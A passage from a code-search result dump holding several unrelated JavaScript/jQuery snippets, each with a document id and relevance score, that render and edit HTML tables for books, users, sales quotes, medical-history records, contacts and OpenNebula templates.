scope=\"col\">Éditeur</th><th scope=\"col\">Auteur(s)</th><th scope=\"col\">Modifier</th><th scope=\"col\">Supprimer</th><th scope=\"col\">Emprunter</th>')\n for (var i = 0; i<myJson.length; i++){\n var row$ = $('<tr/>');\n for (var j = 0; j<columns.length+2; j++){\n var cellValue = myJson[i][columns[j]];\n if(cellValue == null) {\n if(columns[j] == 'modify'){\n if(sessionStorage.getItem('roles').includes('contributor') || sessionStorage.getItem('roles').includes('administrator'))\n row$.append($('<td/>').html('<button class=\"btn btn-primary\" onclick=\"storeUpdateId(event);\">Modifier</button>'))\n else\n row$.append($('<td/>').html('<button class=\"btn btn-primary\" disabled>Modifier</button>'))\n }\n if(columns[j] == 'delete'){\n if(sessionStorage.getItem('roles').includes('contributor') || sessionStorage.getItem('roles').includes('administrator'))\n row$.append($('<td/>').html('<button class=\"btn btn-danger\" onclick=\"deleteBook(event);\">Supprimer</button>'))\n else\n row$.append($('<td/>').html('<button class=\"btn btn-danger\" disabled>Supprimer</button>'))\n }\n if(columns[j] == 'borrow'){\n if(sessionStorage.getItem('roles').includes('contributor') || sessionStorage.getItem('roles').includes('administrator') || sessionStorage.getItem('roles').includes('borrow'))\n if(myJson[i]['state']==0){\n row$.append($('<td/>').html('<button class=\"btn btn-warning\" onclick=\"storeBorrowId(event);\">Emprunter</button>'))\n }\n else\n row$.append($('<td/>').html('<button class=\"btn btn-warning\" disabled>Emprunter</button>'))\n }\n }\n\n else if(columns[j] == 'idBook'){\n row$.append('<input value=\"'+cellValue+'\" hidden></input>')\n }\n\n else if(columns[j] == 'state'){\n if(cellValue == 0)\n row$.append($('<td/>').html('Disponible'));\n else if(cellValue == 1)\n row$.append($('<td/>').html('Emprunté'));\n else\n row$.append($('<td/>').html('Indisponible'));\n }\n\n else if(columns[j] == 'publisher') {\n row$.append($('<td/>').html(cellValue['name']));\n }\n\n else if(columns[j] == 'authors'){\n let res = ''\n for(var k = 0; k < cellValue.length; k++){\n res += cellValue[k]['name'];\n if(k!=cellValue.length-1)\n res+=', '\n }\n row$.append($('<td/>').html(res));\n }\n\n else{\n row$.append($('<td/>').html(cellValue));\n }\n\n }\n $(selector).append(row$);\n }\n}", "title": "" }, { "docid": "d861c4972a73c4b5e4c833dfd2a7c9a8", "score": "0.5884019", "text": "function prepareEditUserTable(){\n\tvar data = {\"request\" : \"getUsers\"};\n\tconsole.log(data);\n\tvar getUsers = $.ajax({url : 'script/server.php', method: 'GET', data : data, dataType:'json'});\n\tgetUsers.success(function(data){\n\t\t$(\"#editUserTable tr:not(:first-child)\").remove();\n\t\tfor(count in data){\n\t\t\tvar userRowID = \"userRow\" + count;\n\t\t\t$(\"#editUserTable\").append(\"<tr id='\" + userRowID + \"'></tr>\");\n\t\t\t$(\"#\" + userRowID).append(\"<td class='userID'>\" + data[count]['UserId'] + \"</td>\");\n\t\t\t$(\"#\" + userRowID).append(\"<td class='username'>\" + data[count]['Username'] + \"</td>\");\n\t\t\t\n\t\t\t$(\"#\" + userRowID).append(\"<td class='email'>\" + data[count]['Email'] + \"</td>\");\n\t\t\t$(\"#\" + userRowID).append(\"<td class='accessLevel'>\" + data[count]['AccessLevel'] + \"</td>\");\n\t\t\t$(\"#\" + userRowID).append(\"<td><input type='button' class='editUserRow' value='Edit User'></input></td>\");\n\t\t}\n\t\t//window.location.href = \"index.html\";\n\t\t\n\t});\n\t\n\tgetUsers.complete(function(){\n\t\t$(\"#editUserContainer\").fadeIn();\n\t\t\n\t\t$(\".editUserRow\").on(\"click\", function(){\n\t\t\t//entering edit mode\n\t\t\tif($(this).parent().siblings().children('input').length === 0){\n\t\t\t\t$(this).attr(\"value\", \"Finish\");\n\t\t\t\tvar currentUsername = $(this).parent().siblings('.username').text();\n\t\t\t\tvar currentEmail = $(this).parent().siblings('.email').text();\n\t\t\t\tvar currentAccessLevel = $(this).parent().siblings('.accessLevel').text();\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.username').empty();\n\t\t\t\t$(this).parent().siblings('.username').append(\"<input type='text'>\");\n\t\t\t\t$(this).parent().siblings('.username').children(\"input\").val(currentUsername);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.email').empty();\n\t\t\t\t$(this).parent().siblings('.email').append(\"<input type='text' value='\" + currentEmail + \"'>\");\n\t\t\t\t$(this).parent().siblings('.email').children(\"input\").val(currentEmail);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.accessLevel').empty();\n\t\t\t\t$(this).parent().siblings('.accessLevel').append(\"<select type='text' id='inputAccessLevel'><option value='1'>1: Clients</option><option value='2'>2: Inspectors</option><option value='3'>3: Costing</option><option value='4'>4: Estimator</option><option value='5'>5: Assistant</option><option value='6'>6: Administrator</option></select>\");\n\t\t\t\t$(this).parent().siblings('.accessLevel').children(\"input\").val(currentAccessLevel);\n\t\t\t\t\n\t\t\t}\n\t\t\t//leaving edit\n\t\t\telse{\n\t\t\t\t$(this).attr(\"value\", \"Edit User\");\n\t\t\t\t$(this).parent().siblings('input').empty();\n\t\t\t\t\n\t\t\t\tvar currentUsername = $(this).parent().siblings(\".username\").children(\"input\").val();\n\t\t\t\tvar currentEmail = $(this).parent().siblings(\".email\").children(\"input\").val();\n\t\t\t\tvar currentAccessLevel = parseInt($(this).parent().siblings(\".accessLevel\").children(\"select\").val());\n\t\t\t\tconsole.log(typeof currentAccessLevel); //debugging\n console.log(currentAccessLevel);\n\t\t\t\tif(isNumeric(currentAccessLevel)){\n\t\t\t\t\t$(this).parent().siblings('.username').empty();\n\t\t\t\t\t$(this).parent().siblings('.username').text(currentUsername);\n\t\t\t\t\t\n\t\t\t\t\t$(this).parent().siblings('.email').empty();\n\t\t\t\t\t$(this).parent().siblings('.email').text(currentEmail);\n\t\t\t\t\t\n\t\t\t\t\t$(this).parent().siblings('.accessLevel').empty();\n\t\t\t\t\t$(this).parent().siblings('.accessLevel').text(currentAccessLevel);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\twindow.alert(\"Non numeric value!\");\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t\t\n\t\t\n\t\t$(\"#btnSubmitUserUpdate\").on(\"click\", function(){\n\t\t\tsubmitUserUpdate();\n\t\t});\n\t});\n\t\n\tgetUsers.error(function (jqXHR, textStatus, errorThrown){\n\t\t\talert('Error with the connection: ' + textStatus + \" \" + errorThrown);\n\t});\n\t\n}", "title": "" }, { "docid": "560833cb55af6d132fd5d152ac347601", "score": "0.5881793", "text": "function quoteModal(id, data) {\n var baseId = '#add-quote-';\n var customer = $(baseId+'customer');\n var quoteNumber = $(baseId+'quote-number');\n var refNumber = $(baseId+'reference-number');\n var date = $(baseId+'date');\n var dueDate = $(baseId+'due-date');\n var total = $(baseId+'total-amount');\n var title = $(baseId+'title');\n var summary = $(baseId+'summary');\n var terms = $(baseId+'terms');\n var validity = $(baseId+'validity');\n\n\n var save = $('.add-quote-save');\n var table = $(baseId+'table');\n var table2 = $(baseId+'service-table');\n var table3 = $(baseId+'other-table');\n var addItem = $(baseId+'add-item');\n var addService = $(baseId+'add-service');\n var addOther = $(baseId+'add-other');\n\n //HTML\n var TABLE_HTML = tableRow(0, 'quote');\n var TABLE_HTML_EDIT = tableRow(1, 'quote');\n \n //if there is value in data, then must be from edit draft\n if(data != 0) {\n //show modal\n $('#add-quote-modal').modal('show');\n $('#add-quote-table tbody').html('');\n $('#add-quote-service-table tbody').html('');\n $('#add-quote-other-table tbody').html('');\n\n //load customer and select the current selected\n loadCustomer(data['customer_info']['_id']['$id']);\n //load basic fields \n quoteNumber.val(data['quote_number']).attr('disabled', 'disabled');\n refNumber.val(data['reference_number']);\n date.val(data['date']);\n dueDate.val(data['due_date']);\n total.val(data['total_amount']);\n title.val(data['title']);\n summary.val(data['summary']);\n terms.val(data['terms']);\n validity.val(data['validity']);\n \n if(isset(data['line'])) {\n //loop line item\n helper.loop(data['line'], function(i) {\n \n table.append(TABLE_HTML_EDIT.\n replace('[DESC]', data['line'][i]['description']).\n replace('[RATE]', data['line'][i]['rate']).\n replace('[QUANTITY]', data['line'][i]['quantity']).\n replace('[AMOUNT]', data['line'][i]['amount']).\n replace('[ID]', data['line'][i]['id'])\n\n ).find('.add-quote-search-item').select2({\n placeholder : 'Search item from inventory...',\n minimumInputLength : 1,\n initSelection : function (element, callback) {\n //pre populate the input box with the data\n callback({\n id : data['line'][i]['id'],\n text : data['line'][i]['name']\n });\n },\n ajax: {\n url : '/sales/listing/searchItem/',\n dataType : 'json',\n quietMillis : 500,\n data : function (term, page) {\n return { q: term };\n },\n results: function (response, page) {\n \n return { results: response.data };\n },\n cache: true\n },\n }).select2('val', data['line'][i]['id']).unbind('click').bind('click', function() {\n var val = $(this).select2('data');\n //get cost price\n var salesRate = val['sales'];\n var quantity = 1;\n var amount = parseFloat(parseFloat(salesRate) * quantity).toFixed(2);\n\n $(this).parent().parent().find('.add-quote-body-rate input').val(salesRate);\n $(this).parent().parent().find('.add-quote-body-quantity input').val(quantity);\n $(this).parent().parent().find('.add-quote-body-amount input').val(amount);\n $(this).parent().parent().attr('id', val['id']);\n //for total\n calculateTotal();\n\n return this;\n });\n });\n }\n\n if(isset(data['service'])) {\n //loop line service\n helper.loop(data['service'], function(i) {\n \n table2.append(TABLE_HTML_EDIT.\n replace('[DESC]', data['service'][i]['description']).\n replace('[RATE]', data['service'][i]['rate']).\n replace('[QUANTITY]', data['service'][i]['quantity']).\n replace('[AMOUNT]', data['service'][i]['amount']).\n replace('[ID]', data['service'][i]['id'])\n\n ).find('.add-quote-search-item').select2({\n placeholder : 'Search service from inventory...',\n minimumInputLength : 1,\n initSelection : function (element, callback) {\n //pre populate the input box with the data\n callback({\n id : data['service'][i]['id'],\n text : data['service'][i]['name']\n });\n },\n ajax: {\n url : '/sales/listing/searchItem/service',\n dataType : 'json',\n quietMillis : 500,\n data : function (term, page) {\n return { q: term };\n },\n results: function (response, page) {\n \n return { results: response.data };\n },\n cache: true\n },\n }).select2('val', data['service'][i]['id']).unbind('click').bind('click', function() {\n var val = $(this).select2('data');\n //get sales price\n var salesRate = val['sales'];\n var quantity = 1;\n var amount = parseFloat(parseFloat(salesRate) * quantity).toFixed(2);\n\n $(this).parent().parent().find('.add-quote-body-rate input').val(salesRate);\n $(this).parent().parent().find('.add-quote-body-quantity input').val(quantity);\n $(this).parent().parent().find('.add-quote-body-amount input').val(amount);\n $(this).parent().parent().attr('id', val['id']);\n //for total\n calculateTotal();\n\n return this;\n });\n });\n }\n\n if(isset(data['other'])) {\n //loop line service\n helper.loop(data['other'], function(i) {\n \n table3.append(TABLE_HTML_EDIT.\n replace('[DESC]', data['other'][i]['description']).\n replace('[RATE]', data['other'][i]['rate']).\n replace('[QUANTITY]', data['other'][i]['quantity']).\n replace('[AMOUNT]', data['other'][i]['amount']).\n replace('[ID]', data['other'][i]['id'])\n\n ).find('.add-quote-search-item').val(data['other'][i]['name']);\n\n });\n }\n\n //on edit quantity\n editLine();\n //on remove line\n removeLine();\n } \n\n addItem.unbind('click').bind('click', function() {\n //only find the last instanse\n table.append(TABLE_HTML).\n find('.add-quote-search-item').last().select2({\n placeholder : 'Search item from inventory...',\n minimumInputLength : 1,\n ajax: {\n url : '/sales/listing/searchItem/item',\n dataType : 'json',\n quietMillis : 500,\n data : function (term, page) {\n return { q: term };\n },\n results: function (response, page) {\n \n return { results: response.data };\n },\n cache: true\n },\n }).unbind('click').bind('click', function() {\n var val = $(this).select2('data');\n //get cost price\n var salesRate = val['sales'];\n var quantity = 1;\n var amount = parseFloat(parseFloat(salesRate) * quantity).toFixed(2);\n\n $(this).parent().parent().find('.add-quote-body-rate input').val(salesRate);\n $(this).parent().parent().find('.add-quote-body-quantity input').val(quantity);\n $(this).parent().parent().find('.add-quote-body-amount input').val(amount);\n $(this).parent().parent().attr('id', val['id']);\n //for total\n calculateTotal();\n\n return this;\n });\n\n //on edit quantity\n editLine();\n\n //on remove line\n removeLine();\n\n return false;\n });\n\n //for ADDING LINE SERVICE\n addService.unbind('click').bind('click', function() {\n //only find the last instanse\n table2.append(TABLE_HTML).\n find('.add-quote-search-item').last().select2({\n placeholder : 'Search service from inventory...',\n minimumInputLength : 1,\n ajax: {\n url : '/sales/listing/searchItem/service',\n dataType : 'json',\n quietMillis : 500,\n data : function (term, page) {\n return { q: term };\n },\n results: function (response, page) {\n \n return { results: response.data };\n },\n cache: true\n },\n }).unbind('click').bind('click', function() {\n var val = $(this).select2('data');\n //get cost price\n var salesRate = val['sales'];\n var quantity = 1;\n var amount = parseFloat(parseFloat(salesRate) * quantity).toFixed(2);\n\n $(this).parent().parent().find('.add-quote-body-rate input').val(salesRate);\n $(this).parent().parent().find('.add-quote-body-quantity input').val(quantity);\n $(this).parent().parent().find('.add-quote-body-amount input').val(amount);\n $(this).parent().parent().attr('id', val['id']);\n //for total\n calculateTotal();\n\n return this;\n });\n\n //on edit quantity\n editLine();\n\n //on remove line\n removeLine();\n\n return false;\n });\n\n addOther.unbind('click').bind('click', function() {\n\n //only find the last instanse\n table3.append(TABLE_HTML);\n\n //on edit quantity and rate\n editLine();\n\n //on remove line\n removeLine();\n\n return false;\n });\n\n //save save save\n save.unbind('click').bind('click', function() {\n var error = false;\n var line = new Array();\n var service = new Array();\n var other = new Array();\n\n $('#add-quote-table tbody tr').each(function() {\n var id = $(this).attr('id');\n if(id != '') {\n line.push({\n 'id' : id,\n 'description' : $(this).find('.add-quote-body-description input').val(),\n 'quantity' : $(this).find('.add-quote-body-quantity input').val(),\n 'rate' : $(this).find('.add-quote-body-rate input').val(),\n 'amount' : $(this).find('.add-quote-body-amount input').val(),\n });\n }\n });\n\n $('#add-quote-service-table tbody tr').each(function() {\n var id = $(this).attr('id');\n if(id != '') {\n service.push({\n 'id' : id,\n 'description' : $(this).find('.add-quote-body-description input').val(),\n 'quantity' : $(this).find('.add-quote-body-quantity input').val(),\n 'rate' : $(this).find('.add-quote-body-rate input').val(),\n 'amount' : $(this).find('.add-quote-body-amount input').val(),\n });\n }\n });\n\n $('#add-quote-other-table tbody tr').each(function() {\n var name = $(this).find('.add-quote-body-item input').val();\n if(name != '') {\n other.push({\n 'name' : name,\n 'description' : $(this).find('.add-quote-body-description input').val(),\n 'quantity' : $(this).find('.add-quote-body-quantity input').val(),\n 'rate' : $(this).find('.add-quote-body-rate input').val(),\n 'amount' : $(this).find('.add-quote-body-amount input').val(),\n });\n }\n });\n\n //check for error\n (customer.val() == 0) ? (error = helper.hasError(customer, 1)) : helper.noError(customer, 1);\n (quoteNumber.val() == '') ? (error = helper.hasError(quoteNumber, 1)) : helper.noError(quoteNumber, 1);\n //(refNumber.val() == '') ? (error = helper.hasError(refNumber, 1)) : helper.noError(refNumber, 1);\n (date.val() == '') ? (error = helper.hasError(date, 1)) : helper.noError(date, 1);\n (dueDate.val() == '') ? (error = helper.hasError(dueDate, 1)) : helper.noError(dueDate, 1);\n (total.val() == '') ? (error = helper.hasError(total, 1)) : helper.noError(total, 1);\n\n //if all is correct\n if(!error) {\n \n $(this).\n html('Saving...').\n attr('disabled', 'disabled');\n //change url if has id\n var url = (id != 0) ? '/quote/listing/edit/'+id : '/quote/listing/add/'; \n\n var data = {\n 'status' : $(this).attr('status'),\n 'customer' : customer.val(),\n 'quote_number' : quoteNumber.val(),\n 'reference_number' : refNumber.val(),\n 'date' : date.val(),\n 'due_date' : dueDate.val(),\n 'line' : line,\n 'service' : service,\n 'other' : other,\n 'total_amount' : total.val(),\n 'title' : title.val(),\n 'summary' : summary.val(),\n 'terms' : terms.val(),\n 'validity' : validity.val()\n };\n\n base.\n setUrl(url).\n setData(data).\n post(function(response) {\n \n save.each(function() {\n $(this).\n html($(this).attr('status') == 1 ? 'Save' : 'Save As Draft').\n removeAttr('disabled');\n });\n \n base.notification('Invoice successfully saved', 'inverse');\n\n $('#add-quote-modal').modal('hide');\n location.reload();\n }\n );\n }\n \n return false;\n });\n\n /**\n * For removing line item, must be after table is build\n * \n * @return this\n */\n function removeLine() {\n $('.add-quote-body-close').unbind('click').bind('click', function() {\n $(this).parent().parent().remove();\n calculateTotal();\n\n return false;\n });\n return this;\n }\n\n /**\n * After putting value in quantity, will calculate line amount\n * \n * @return this\n */\n function editLine() {\n $('.add-quote-body-quantity input').unbind('keyup').bind('keyup', function() {\n \n //get variables we need\n var quantity = $(this).val();\n var salesRate = $(this).parent().parent().find('.add-quote-body-rate input').val();\n \n quantity = (quantity == '') ? 0 : quantity;\n salesRate = (salesRate == '') ? 0 : salesRate;\n\n var amount = parseFloat(parseFloat(salesRate) * quantity).toFixed(2);\n\n $(this).parent().parent().find('.add-quote-body-amount input').val(amount);\n $(this).parent().parent().find('.add-quote-body-rate input').val(salesRate);\n $(this).parent().parent().find('.add-quote-body-quantity input').val(quantity);\n calculateTotal();\n \n return false;\n });\n\n $('.add-quote-body-rate input').unbind('keyup').bind('keyup', function() {\n \n //get variables we need\n var salesRate = $(this).val();\n var quantity = $(this).parent().parent().find('.add-quote-body-quantity input').val();\n \n quantity = (quantity == '') ? 0 : quantity;\n salesRate = (salesRate == '') ? 0 : salesRate;\n\n var amount = parseFloat(parseFloat(quantity) * salesRate).toFixed(2);\n\n $(this).parent().parent().find('.add-quote-body-amount input').val(amount);\n $(this).parent().parent().find('.add-quote-body-rate input').val(salesRate);\n $(this).parent().parent().find('.add-quote-body-quantity input').val(quantity);\n \n calculateTotal();\n \n return false;\n });\n\n return this;\n }\n\n return false;\n}", "title": "" }, { "docid": "ddf3f4bbba08e6c97c4f2e3e28f63192", "score": "0.5876023", "text": "function EditExistingRowPsychiatricallyHospitalized() {\n\n if ($(\"#TextBoxPsychHospitalName\").val() == '' && $(\"#TextBoxPsychHospitalLocation\").val() == '' && $(\"#TextBoxPsychHospitalizationDate\").val() == '' && $(\"#TextBoxReasonHospitalizedPsych\").val() == '') {\n showErrorMessage(\" select atleast one field.\");\n return;\n }\n if ($(\"#AddPsychiatricallyHospitalized\").text() == 'Edit') {\n $(\"#AddPsychiatricallyHospitalized\").text('Add');\n };\n var table = $('#PsychiatricallyHospitalized').DataTable();\n var currentata = \"\";\n if (dataTablePsychiatricallyHospitalizedFlg) {\n var rowExists = false;\n var valueCol = $('#PsychiatricallyHospitalized').DataTable().column(2).data();\n\n var data = {\n \"Actions\": CreateChildBtnWithPermission(\"EditPriorOutpatientMentalHealthServices\", \"DeleteEditPriorOutpatientMentalHealthServices\"), \n\n \"PsychHospitalName\": $(\"#TextBoxPsychHospitalName\").val(),\n \"PsychHospitalLocation\": $(\"#TextBoxPsychHospitalLocation\").val(),\n \"PsychHospitalizationDate\": $(\"#TextBoxPsychHospitalizationDate\").val(),\n \"ReasonHospitalizedPsych\": $(\"#TextBoxReasonHospitalizedPsych\").val(),\n \"MedicalHistoryPsychHospitalID\": $(\"#TextBoxMedicalHistoryPsychHospitalID\").val() == undefined ? '' : $(\"#TextBoxMedicalHistoryPsychHospitalID\").val(),\n };\n table.row(currentRowPsychiatricallyHospitalized).data(data).draw(false);\n $(\"#AddPsychiatricallyHospitalized\").removeAttr(\"onclick\");\n $(\"#AddPsychiatricallyHospitalized\").removeClass(\"editRow\");\n showRecordSaved(\"Psychiatrically Hospitalized edited successfully.\");\n ClearFieldsValue('PsychiatricallyHospitalized');\n\n }\n else {\n var rowExists = false;\n var valueCol = $('#PsychiatricallyHospitalized').DataTable().column(1).data();\n var index = valueCol.length;\n\n var data1 = [\n CreateChildBtnWithPermission(\"EditPriorOutpatientMentalHealthServices\", \"DeleteEditPriorOutpatientMentalHealthServices\"), \n // selectedText.trim(),\n $(\"#TextBoxPsychHospitalName\").val(),\n $(\"#TextBoxPsychHospitalLocation\").val(),\n $(\"#TextBoxPsychHospitalizationDate\").val(),\n $(\"#TextBoxReasonHospitalizedPsych\").val(),\n $(\"#TextBoxMedicalHistoryPsychHospitalID\").val() == undefined ? '' : $(\"#TextBoxMedicalHistoryPsychHospitalID\").val(),\n ];\n table.row(currentRowPsychiatricallyHospitalized).data(data1).draw(false);\n $(\"#AddPsychiatricallyHospitalized\").removeAttr(\"onclick\");\n $(\"#AddPsychiatricallyHospitalized\").removeClass(\"editRow\");\n showRecordSaved(\"Psychiatrically Hospitalized edited successfully.\");\n ClearFieldsValue('PsychiatricallyHospitalized');\n //}\n }\n}", "title": "" }, { "docid": "aa61b8908def55d3283e26b088f3dcc1", "score": "0.58756614", "text": "function appendJSONStructure(data)\n{\n let table = document.getElementById('dynamicUserJSON');\n document.getElementById(\"totalPages\").innerHTML = data['total_pages'];\n let obj = data[\"data\"];\n let i = \"\";\n\n table.innerHTML = \"\";\n\n for (i = 0; i < obj.length; i++)\n {\n let tr = document.createElement('tr');\n tr.setAttribute(\"id\", \"userRow\" + obj[i][\"id\"]);\n tr.innerHTML = '<td>' + obj[i][\"id\"] + '</td>' +\n '<td>' + obj[i][\"email\"] + '</td>' +\n '<td>' + obj[i][\"first_name\"] + '</td>' +\n '<td>' + obj[i][\"last_name\"] + '</td>' +\n '<td><img src=\"' + obj[i][\"avatar\"] + '\" alt=\"User Avatar\"></td>' +\n '<td><div class=\"btn-group-vertical btn-group-sm\" role=\"group\">' +\n '<button onclick=\"getUser(' + obj[i][\"id\"] + ')\" class=\"btn btn-primary openBtn\" type=\"button\" data-target=\"#jack-edit\" data-toggle=\"modal\">Edit</button>' +\n '<button onclick=\"delUser(' + obj[i][\"id\"] + ')\" class=\"btn btn-primary\" type=\"button\">Delete</button>' +\n '</div></td>';\n table.appendChild(tr);\n }\n}", "title": "" }, { "docid": "721a55de60cbf30773590b9eff5215bc", "score": "0.58736646", "text": "function ContactsView(params){\n\tvar name_id = params.nameID ? params.nameID : params.requestParams.name_id;\n\treturn new jGrid($.extend(params, {\n\t\tpaintParams: {\n\t\t\tcss: \"contacts\",\n\t\t\ttoolbar: {theme: \"svg\"}\n\t\t},\n\t\teditForm: function(id, container, dialog) {\n\t\t\tContactsEdit({\n\t\t\t\turl: (\"?id={0}&name_id={1}\").format(id, name_id),\n\t\t\t\tcontainer: container,\n\t\t\t\tcontainerPadding: 0,\n\t\t\t\tshowToolbar: false,\n\t\t\t\tpageControlTheme: \"data-entry\",\n\t\t\t\tfillContainer: true,\n\t\t\t\tdialog: dialog\n\t\t\t})\n\t\t},\n\t\tinit: function(grid) {\t\t\t\t\n\t\t\tgrid.Events.OnInit.add(function(grid) {\n\t\t\t\tgrid.optionsData.url = \"contacts\";\n\t\t\t\tgrid.options.horzScroll = true;\n\t\t\t\tgrid.options.allowSort = true;\n\t\t\t\tgrid.options.showPager = false;\n\t\t\t\tgrid.search.visible = false;\n\t\t\t\t\t\t\t\n\t\t\t\tgrid.Events.OnInitDataRequest.add(function(grid, dataParams) {\n\t\t\t\t\tdataParams\n\t\t\t\t\t\t.addColumn(\"name_id\", name_id, {numeric:true})\n\t\t\t\t\t\t.addColumn(\"sort\", \"full_name\")\n\t\t\t\t\t\t.addColumn(\"order\", \"asc\")\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\tgrid.Events.OnInitData.add(function(grid, data) {\n\t\t\t\t\tdata.Columns\n\t\t\t\t\t\t.setprops(\"id\", {label:\"ID\", numeric:true, key: true})\n\t\t\t\t\t\t.setprops(\"title\", {label:\"Title\"})\n\t\t\t\t\t\t.setprops(\"full_name\", {label:\"Contact Name\"})\n\t\t\t\t\t\t.setprops(\"department\", {label:\"Department\"})\n\t\t\t\t\t\t.setprops(\"position\", {label:\"Position\"})\n\t\t\t\t\t\t.setprops(\"phone\", {label:\"Phone No.\"})\n\t\t\t\t\t\t.setprops(\"mobile\", {label:\"Mobile No.\"})\n\t\t\t\t\t\t.setprops(\"fax\", {label:\"Fax No.\"})\n\t\t\t\t\t\t.setprops(\"email\", {label:\"Email Address\"})\n\t\t\t\t});\n\n\t\t\t\tgrid.Events.OnInitColumns.add(function(grid) {\n\t\t\t\t\tgrid.NewColumn({fname: \"title\", width: 50, allowSort: false, fixedWidth:true});\n\t\t\t\t\tgrid.NewColumn({fname: \"full_name\", width: 200, allowSort: true, fixedWidth:true});\n\t\t\t\t\tgrid.NewColumn({fname: \"department\", width: 150, allowSort: true, fixedWidth:true});\n\t\t\t\t\tgrid.NewColumn({fname: \"position\", width: 100, allowSort: true, fixedWidth:true});\n\t\t\t\t\tgrid.NewColumn({fname: \"phone\", width: 100, allowSort: true, fixedWidth:true});\n\t\t\t\t\tgrid.NewColumn({fname: \"mobile\", width: 100, allowSort: true, fixedWidth:true});\n\t\t\t\t\tgrid.NewColumn({fname: \"fax\", width: 100, allowSort: true, fixedWidth:true});\n\t\t\t\t\tgrid.NewColumn({fname: \"email\", width: 200, allowSort: true, fixedWidth:true});\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\tgrid.Methods.add(\"deleteConfirm\", function(grid, id) {\n\t\t\t\t\treturn {\n\t\t\t\t\t\ttitle: \"Delete Contact\",\n\t\t\t\t\t\tmessage: ('Please confirm to delete contact \"<b>{0}</b>\".').format(grid.dataset.lookup(id, \"full_name\"))\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t// grid.Events.OnInitToolbar.add(function(grid, toolbar) {\n\t\t\t\t\t// toolbar.grid = grid;\n\t\t\t\t\t// grid.owner.InitializeToolbar(toolbar);\n\t\t\t\t// });\n\t\t\t});\n\t\t}\n\t}));\n}", "title": "" }, { "docid": "59837dd997936e49053abd9d9b1b4d10", "score": "0.5873002", "text": "function insert_extended_template_table(template_json,resource_type,resource_id,table_name,unshown_values)\n{\n var str = '<table id=\"'+resource_type.toLowerCase()+'_template_table\" class=\"info_table twelve datatable extended_table\">\\\n <thead>\\\n <tr>\\\n <th colspan=\"4\">' +\n table_name +\n '</th>\\\n </tr>\\\n </thead>\\\n <tr>\\\n <td class=\"key_td\"><input type=\"text\" name=\"new_key\" id=\"new_key\" /></td>\\\n <td class=\"value_td\"><input type=\"text\" name=\"new_value\" id=\"new_value\" /></td>\\\n <td colspan=\"2\" class=\"\"><button type=\"button\" id=\"button_add_value\" class=\"button small secondary\">'+tr(\"Add\")+'</button>\\</td>\\\n </tr>' + fromJSONtoHTMLTable(template_json,\n resource_type,\n resource_id) +\n '</table>'\n\n // Remove previous listeners\n $(\"#new_key\").die();\n $(\"#new_value\").die();\n $(\"#new_value_vectorial\").die();\n $(\"#div_minus\").die();\n $(\"#div_edit\").die();\n $(\".input_edit_value\").die();\n $(\"#div_edit_vectorial\").die();\n $(\".input_edit_value_vectorial\").die();\n $(\"#div_minus_vectorial\").die();\n $(\"#button_add_value\").die();\n $(\"#button_add_value_vectorial\").die();\n $(\"#div_add_vectorial\").die();\n\n // Add listener for add key and add value for Extended Template\n $('#button_add_value').live(\"click\", function() {\n new_value = $('#new_value',$(this).parent().parent()).val();\n new_key = $('#new_key',$(this).parent().parent()).val();\n\n if ( new_value != \"\" && new_key != \"\" )\n {\n var template_json_bk = $.extend({}, template_json);\n if(template_json[$.trim(new_key)] && (template_json[$.trim(new_key)] instanceof Array))\n {\n template_json[$.trim(new_key)].push($.trim(new_value));\n }\n else\n {\n template_json[$.trim(new_key)]=$.trim(new_value);\n }\n template_str = convert_template_to_string(template_json,unshown_values);\n\n Sunstone.runAction(resource_type+\".update_template\",resource_id,template_str);\n template_json = template_json_bk;\n }\n });\n\n // Capture the enter key\n $('#new_value').live(\"keypress\", function(e) {\n var ev = e || window.event;\n var key = ev.keyCode;\n\n if (key == 13)\n {\n //Get the button the user wants to have clicked\n $('#button_add_value', $(this).parent().parent()).click();\n ev.preventDefault();\n }\n })\n\n // Listener for single values\n\n // Listener for key,value pair remove action\n $(\"#div_minus\").live(\"click\", function() {\n // Remove div_minus_ from the id\n field = this.firstElementChild.id.substring(10,this.firstElementChild.id.length);\n var list_of_classes = this.firstElementChild.className.split(\" \");\n var ocurrence=null;\n\n if (list_of_classes.length!=1)\n {\n $.each(list_of_classes, function(index, value) {\n if (value.match(/^ocurrence_/))\n ocurrence=value.substring(10,value.length);;\n });\n }\n\n // Erase the value from the template\n if(ocurrence!=null)\n template_json[field].splice(ocurrence,1);\n else\n delete template_json[field];\n\n template_str = convert_template_to_string(template_json,unshown_values);\n\n // Let OpenNebula know\n Sunstone.runAction(resource_type+\".update_template\",resource_id,template_str);\n });\n\n // Listener for key,value pair edit action\n $(\"#div_edit\").live(\"click\", function() {\n var key_str=this.firstElementChild.id.substring(9,this.firstElementChild.id.length);\n\n var value_str = $(\"#value_td_input_\"+key_str).text();\n input = $(\"#value_td_input_\"+key_str).html('<input class=\"input_edit_value\" id=\"input_edit_'+key_str+'\" type=\"text\"/>');\n $('#input_edit_'+key_str).val(value_str);\n\n });\n\n $(\".input_edit_value\").live(\"change\", function() {\n var key_str = $.trim(this.id.substring(11,this.id.length));\n var value_str = $.trim(this.value);\n var template_json_bk = $.extend({}, template_json);\n\n delete template_json[key_str];\n template_json[key_str]=value_str;\n\n template_str = convert_template_to_string(template_json,unshown_values);\n\n // Let OpenNebula know\n Sunstone.runAction(resource_type+\".update_template\",resource_id,template_str);\n\n template_json = template_json_bk;\n });\n\n // Listeners for vectorial attributes\n // Listener for key,value pair edit action for subelement of vectorial key\n $(\"#div_edit_vectorial\").live(\"click\", function() {\n var key_str = $.trim(this.firstElementChild.id.substring(9,this.firstElementChild.id.length));\n var list_of_classes = this.firstElementChild.className.split(\" \");\n var ocurrence = \" \";\n var vectorial_key = null;\n\n if (list_of_classes.length!=1)\n {\n $.each(list_of_classes, function(index, value) {\n if (value.match(/^ocurrence_/))\n ocurrence+=value+\" \";\n });\n }\n\n if (list_of_classes.length!=1)\n {\n $.each(list_of_classes, function(index, value) {\n if (value.match(/^vectorial_key_/))\n vectorial_key=value;\n });\n }\n\n\n if (ocurrence!=\" \")\n {\n var value_str = 